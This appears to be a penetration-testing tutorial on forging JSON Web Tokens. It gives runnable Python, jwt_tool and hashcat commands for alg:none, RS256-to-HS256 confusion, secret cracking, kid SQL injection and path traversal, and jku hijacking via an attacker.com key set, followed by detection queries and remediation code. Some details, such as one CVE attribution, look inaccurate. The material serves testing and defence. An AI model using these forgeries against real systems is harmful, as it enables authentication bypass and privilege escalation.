JWT algorithm confusion and token forgery techniques

JWT Attacks: Algorithm Confusion and Forgery

JWT attack techniques including none algorithm bypass, RS256 to HS256 confusion, weak secret cracking, and kid injection.

Aug 11, 2026
2 min read

Introduction

JWT signature validation is broken at the implementation level in dozens of popular libraries. The RFC 7519 specification defines the format, but leaves enough ambiguity in validation logic that a server accepting {"alg":"none"} or treating an RS256 public key as an HS256 secret is not unusual — it's a documented failure mode affecting real production systems.

The structure is three base64url-encoded segments: header, payload, signature — joined with dots. The header dictates which algorithm the server must use to verify the signature on the third segment. That the server trusts the algorithm field from the token itself is the root cause of most JWT vulnerabilities. An attacker who controls the header controls verification logic.

These attacks are distinct from token theft or session fixation. They require no prior knowledge of credentials and no server-side session state. A valid-looking forged token with an arbitrary payload — escalated privileges, changed user ID, extended expiry — is constructed offline and submitted directly.

Authorization Required

All techniques documented here require explicit written authorization. Forging authentication tokens against systems you do not own is a criminal offense under the CFAA, Computer Misuse Act, and equivalent statutes. Test only in authorized environments: dedicated labs, bug bounty scope, or your own infrastructure.

Impact

  • Complete authentication bypass — forge a token for any user ID or role
  • Horizontal privilege escalation — change sub claim to another user's ID
  • Vertical privilege escalation — modify role, admin, or scope claims
  • Session persistence — craft tokens with far-future exp values
  • Backend SSRF via jku/x5u header injection pointing to attacker infrastructure
  • SQL injection through unsanitized kid header parameter
  • Arbitrary file read through kid path traversal

Technical Details

None Algorithm Bypass

The alg header field tells the server which algorithm to use when verifying the signature. "none" is a valid value defined in RFC 7519 to represent unsigned tokens — intended only for use in contexts where integrity is guaranteed by other means.

Libraries that process "alg":"none" in production do so because they follow the spec without applying the obvious security constraint: never accept unsigned tokens from untrusted sources. The attack strips the signature entirely and modifies the payload at will.

Decode and inspect the original token:

Decode JWT header and payload
# Split on dots and base64url-decode each segment
TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwicmxvZSI6InVzZXIiLCJleHAiOjE3NTAwMDAwMDB9.SIGNATURE"

echo $TOKEN | cut -d. -f1 | base64 -d 2>/dev/null | python3 -m json.tool
# {"alg": "RS256", "typ": "JWT"}

echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# {"sub": "1234", "role": "user", "exp": 1750000000}

Craft the forged token:

Build none-algorithm token
import base64
import json

def b64url(data):
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header = b64url(json.dumps({"alg": "none", "typ": "JWT"}))
payload = b64url(json.dumps({"sub": "1234", "role": "admin", "exp": 9999999999}))

# Trailing dot with empty signature
forged = f"{header}.{payload}."
print(forged)

Variations that bypass case-sensitivity checks in some libraries: "alg":"None", "alg":"NONE", "alg":"nOnE". Libraries parsing the algorithm name without normalizing case may accept these even when blocking lowercase "none".

RS256-to-HS256 Algorithm Confusion

This is the most technically interesting JWT attack. RS256 uses a private key to sign and a public key to verify. HS256 uses the same secret for both sign and verify. When a server allows the algorithm to be switched from RS256 to HS256, the HMAC verification secret becomes whatever value the server is configured to use for RS256 public key material — which is, by definition, public.

The attack flow: obtain the RS256 public key (from JWKS endpoint, certificate, or source code disclosure), switch the header to HS256, sign the forged payload using the public key as the HMAC secret. The server, now performing HMAC verification, uses the same public key bytes it has on hand and the signature validates.

Fetch JWKS and extract public key
# Most applications expose their JWKS at a standard endpoint
curl -s https://target.com/.well-known/jwks.json | python3 -m json.tool

# Convert JWK to PEM using jwt_tool or openssl
# jwt_tool handles this automatically with the -V flag
Algorithm confusion with jwt_tool
python3 jwt_tool.py <TOKEN> -X a
# jwt_tool automatically attempts RS256->HS256 confusion
# -X a = exploit algorithm confusion attack

# With explicit public key
python3 jwt_tool.py <TOKEN> -X a -pk public_key.pem

# Tamper payload claim before signing
python3 jwt_tool.py <TOKEN> -X a -pk public_key.pem -I -pc role -pv admin

The public key can appear in several forms: a PEM-formatted RSA public key from a JWKS endpoint, an X.509 certificate, or occasionally embedded in application source or configuration files. The key material used in HMAC signing must exactly match what the server holds — padding, newlines, and encoding matter.

Manual RS256-to-HS256 confusion
import hmac
import hashlib
import base64
import json

# Public key as bytes (exactly as the server has it)
with open('public_key.pem', 'rb') as f:
    public_key_bytes = f.read()

header = {"alg": "HS256", "typ": "JWT"}
payload = {"sub": "1234", "role": "admin", "exp": 9999999999}

def b64url(data):
    if isinstance(data, (dict, list)):
        data = json.dumps(data, separators=(',', ':')).encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

signing_input = f"{b64url(header)}.{b64url(payload)}"
sig = hmac.new(public_key_bytes, signing_input.encode(), hashlib.sha256).digest()
token = f"{signing_input}.{b64url(sig)}"
print(token)

Weak HS256 Secret Brute Force

HMAC-based JWTs are only as strong as their secret. Secrets derived from application names, environment names, or short random strings are routinely cracked against common wordlists. The JWT format exposes the algorithm and the expected signature, making offline attacks straightforward.

Crack HS256 JWT with hashcat
# hashcat mode 16500 = JWT (JSON Web Token)
hashcat -a 0 -m 16500 token.txt /usr/share/wordlists/rockyou.txt

# With rules for mutations
hashcat -a 0 -m 16500 token.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule

# Brute force short secrets
hashcat -a 3 -m 16500 token.txt '?a?a?a?a?a?a?a?a'

# Example output when cracked
# eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0In0.signature:secret123
Crack with jwt_tool
python3 jwt_tool.py <TOKEN> -C -d /usr/share/wordlists/rockyou.txt

Secrets to try manually before launching a full attack: secret, password, jwt_secret, the application name, development, staging, a blank string. Flask applications sometimes default to the SECRET_KEY value from config, which is often left as a placeholder.

Once the secret is known, sign arbitrary payloads:

Sign forged token with recovered secret
python3 jwt_tool.py <TOKEN> -I -pc role -pv admin -S hs256 -p "recovered_secret"

kid Header Injection

The kid (key ID) header parameter identifies which key the server should use to verify the signature. It's used in multi-key environments where several keys are in rotation. The server is expected to look up the key material using the kid value, which means the kid field is user-controlled input flowing into a data access layer — classic injection territory.

SQL injection via kid:

If the server queries a database for key material:

-- Intended query
SELECT key_value FROM jwt_keys WHERE kid = 'key-1'

-- Attacker-controlled kid
' UNION SELECT 'attacker_secret' -- 

-- Results in
SELECT key_value FROM jwt_keys WHERE kid = '' UNION SELECT 'attacker_secret' -- '
-- Returns: attacker_secret
kid SQL injection with jwt_tool
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "' UNION SELECT 'attacker_secret' -- " \
  -S hs256 -p "attacker_secret"

Path traversal via kid:

If the server reads key material from the filesystem using the kid value:

{"alg": "HS256", "kid": "../../../dev/null"}

/dev/null reads as an empty string. Sign the token with an empty string as the HMAC secret:

kid path traversal to /dev/null
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../../dev/null" -S hs256 -p ""

# Or point to a known file with predictable content
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../../etc/hostname" -S hs256 -p "webserver01"

Absolute paths also work in some implementations: "kid":"/dev/null" or "kid":"/proc/sys/kernel/hostname".

jku and x5u Header Hijacking

The jku (JWK Set URL) header tells the server where to fetch the public keys for verification. The x5u header does the same for X.509 certificates. Servers that fetch key material from a URL specified in the token itself will fetch from an attacker-controlled host if the value is tampered.

{
  "alg": "RS256",
  "jku": "https://attacker.com/jwks.json",
  "kid": "attacker-key"
}

Generate an RSA key pair and host the public key as a JWK set:

Generate attacker RSA keypair
openssl genrsa -out attacker_private.pem 2048
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem
Generate JWK set from RSA key
# pip install python-jose
from jose import jwk
import json

with open('attacker_public.pem', 'r') as f:
    public_pem = f.read()

key = jwk.construct(public_pem, algorithm='RS256')
jwks = {
    "keys": [{
        **key.public_key().to_dict(),
        "kid": "attacker-key",
        "use": "sig",
        "alg": "RS256"
    }]
}
print(json.dumps(jwks, indent=2))
# Host this at https://attacker.com/jwks.json
jku injection with jwt_tool
python3 jwt_tool.py <TOKEN> -X s \
  -ju "https://attacker.com/jwks.json" \
  -I -pc role -pv admin \
  -pr attacker_private.pem

Bypass attempts when servers validate the jku domain: open redirect chains (https://target.com/redirect?url=https://attacker.com/jwks.json), SSRF-capable subdomains, URL parsing inconsistencies (https://attacker.com@target.com/jwks.json), parameter pollution.

Attack Tools

ticarpi/jwt_tool is the most complete CLI tool for JWT testing. It covers all major attack classes.

Install jwt_tool
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install -r requirements.txt
jwt_tool common operations
# Decode and inspect token
python3 jwt_tool.py <TOKEN>

# Run all automated tests
python3 jwt_tool.py <TOKEN> -t -rh "Authorization: Bearer <TOKEN>" \
  -u https://target.com/api/protected

# None algorithm
python3 jwt_tool.py <TOKEN> -X n

# Algorithm confusion (auto-fetches JWKS if available)
python3 jwt_tool.py <TOKEN> -X a -pk public_key.pem

# Tamper a claim and re-sign with known secret
python3 jwt_tool.py <TOKEN> -I -pc sub -pv admin_user -S hs256 -p "secret"

# kid SQL injection
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "x' UNION SELECT 'hack'--" \
  -S hs256 -p "hack"

# kid path traversal
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../../dev/null" -S hs256 -p ""

# jku injection
python3 jwt_tool.py <TOKEN> -X s -ju "https://attacker.com/jwks.json" \
  -I -pc role -pv admin -pr attacker_private.pem

# Crack HS256 secret
python3 jwt_tool.py <TOKEN> -C -d rockyou.txt

Flag reference: -I tamper claims, -hc/-hv tamper header claim/value, -pc/-pv tamper payload claim/value, -S signing algorithm, -p signing secret, -pk PEM key file, -X exploit mode (n=none, a=alg confusion, s=jku spoof), -C crack mode, -d dictionary.

The JWT Editor extension by PortSwigger integrates JWT manipulation directly into Burp Suite's Repeater and Proxy.

Install: BApp Store → search "JWT Editor" → Install.

Key operations in Repeater:

  1. Intercept a request containing a JWT in Authorization: Bearer or cookie
  2. Switch to the JSON Web Token tab in Repeater
  3. The header and payload are editable JSON — modify claim values directly
  4. To sign: click Attack → select the attack type

Attack types available:

  • Embedded JWK — injects a JWK into the header containing the attacker's public key
  • JWKS injection — sets jku to a hosted JWK set URL
  • Alg:none — strips signature and sets algorithm to none (tries case variants automatically)
  • HS256 with RSA key — algorithm confusion, uses the RSA public key as HMAC secret

Keys tab: generate RSA/EC/OKP/symmetric keys for use in attacks. Keys persist across sessions.

Repeater tab → JSON Web Token → edit payload claim →
Attack → JWKS injection → enter hosted JWKS URL → OK → Send

For algorithm confusion: Keys tab → generate RSA key → copy public key to clipboard → in the attack dialog, paste or select the key.

hashcat JWT cracking
# Prepare token file — paste raw JWT, one per line
echo "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0In0.SIGNATURE" > token.txt

# Dictionary attack
hashcat -a 0 -m 16500 token.txt rockyou.txt

# With multiple rules
hashcat -a 0 -m 16500 token.txt rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  -r /usr/share/hashcat/rules/toggles1.rule

# Brute force up to 8 characters (all printable)
hashcat -a 3 -m 16500 token.txt '?a?a?a?a?a?a?a?a' --increment

# Combinator — two wordlists concatenated
hashcat -a 1 -m 16500 token.txt wordlist1.txt wordlist2.txt

# Show cracked results
hashcat -m 16500 token.txt --show

# GPU acceleration (auto-detected, add -d 1 to target specific GPU)
hashcat -a 0 -m 16500 token.txt rockyou.txt -O

Expected output when cracked:

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0In0.XbPfbIHMI6arZ3Y9aSIzSA:secret

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))

Detection

Log sources: WAF logs, application authentication logs, API gateway access logs, SIEM ingestion of JWT validation errors.

Algorithm anomalies — alert on tokens presenting unexpected algorithm values:

ConditionSeverityNotes
alg: none or case variantsCriticalShould never appear in production tokens
alg changed between requests for same sessionHighPotential algorithm confusion attempt
Unknown or non-standard algorithm valueHighMay indicate fuzzing or manipulation
alg: HS256 on application using asymmetric keysHighRS256-to-HS256 confusion

Splunk query for none algorithm:

Detect none algorithm in JWT
index=web_logs sourcetype=nginx_access
| rex field=_raw "Authorization: Bearer (?<jwt_token>[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+)"
| eval header=lower(urldecode(replace(mvindex(split(jwt_token,"."),0), "-", "+", "_", "/")))
| search header="*\"alg\":\"none\"*" OR header="*\"alg\":\"none\"*"
| stats count by src_ip, uri_path

kid injection indicators — log anomalies in the kid field:

Detect kid injection attempts
index=app_logs event_type=jwt_validation
| rex field=kid_value "(?<sqli_indicator>['\";]|UNION|SELECT|--)"
| rex field=kid_value "(?<traversal_indicator>\.\./|\.\.\\)"
| where isnotnull(sqli_indicator) OR isnotnull(traversal_indicator)
| table _time, src_ip, kid_value, user_agent

jku/x5u SSRF detection — outbound requests from the backend triggered by token validation:

Alert: outbound HTTP from JWT validation service to non-allowlisted domain
Source: token validation worker
Destination: any external host not in approved JWKS domain list

Token age and expiry — tokens with exp set more than 24 hours in the future, or no exp claim at all, warrant investigation. Tokens with iat in the future indicate clock manipulation or forgery.

Windows Event IDs (if JWT validation occurs in an IIS/Windows environment): 4625 (failed logon), 4648 (explicit credential logon attempt). On Linux-based stacks, monitor application logs directly.

Remediation

Pin accepted algorithms — never derive the verification algorithm from the token itself:

Correct: pin algorithm server-side (PyJWT)
import jwt

# WRONG — algorithm from token header
decoded = jwt.decode(token, public_key, algorithms=jwt.get_unverified_header(token)['alg'])

# CORRECT — algorithm pinned server-side
decoded = jwt.decode(token, public_key, algorithms=["RS256"])
Correct: pin algorithm server-side (jsonwebtoken)
// WRONG
jwt.verify(token, secret);

// CORRECT — algorithm explicitly specified
jwt.verify(token, secret, { algorithms: ['HS256'] });

Use asymmetric algorithms — prefer RS256, ES256, or PS256 over HS256 for any multi-service architecture. HMAC secrets must be shared; RSA/EC private keys are never distributed.

Validate kid strictly — treat kid as an identifier, not a filename or SQL fragment:

Secure kid lookup
ALLOWED_KIDS = {
    "key-2024-01": load_pem("keys/key-2024-01.pem"),
    "key-2024-06": load_pem("keys/key-2024-06.pem"),
}

kid = jwt.get_unverified_header(token).get("kid")
if kid not in ALLOWED_KIDS:
    raise ValueError(f"Unknown kid: {kid}")
public_key = ALLOWED_KIDS[kid]

Reject jku and x5u headers — unless you have a specific, validated need for dynamic key material, reject tokens containing these headers. If required, validate against a strict allowlist of domains:

jku domain allowlist
ALLOWED_JWKS_DOMAINS = {"auth.example.com"}

jku = header.get("jku")
if jku:
    from urllib.parse import urlparse
    if urlparse(jku).hostname not in ALLOWED_JWKS_DOMAINS:
        raise ValueError("Untrusted jku domain")

Enforce expiry — always validate exp, iat, and nbf claims. Set maximum token lifetimes appropriate to the sensitivity of the resource. Reject tokens without an exp claim.

Library hygiene — keep JWT libraries updated. CVE-2015-9235 (python-jose none algorithm), CVE-2016-10555 (node-jsonwebtoken), and similar were patched years ago but persist in pinned dependency trees. Run npm audit / pip-audit as part of CI.

References

MITRE ATT&CK Techniques

Tools Documentation

Next Steps

On this page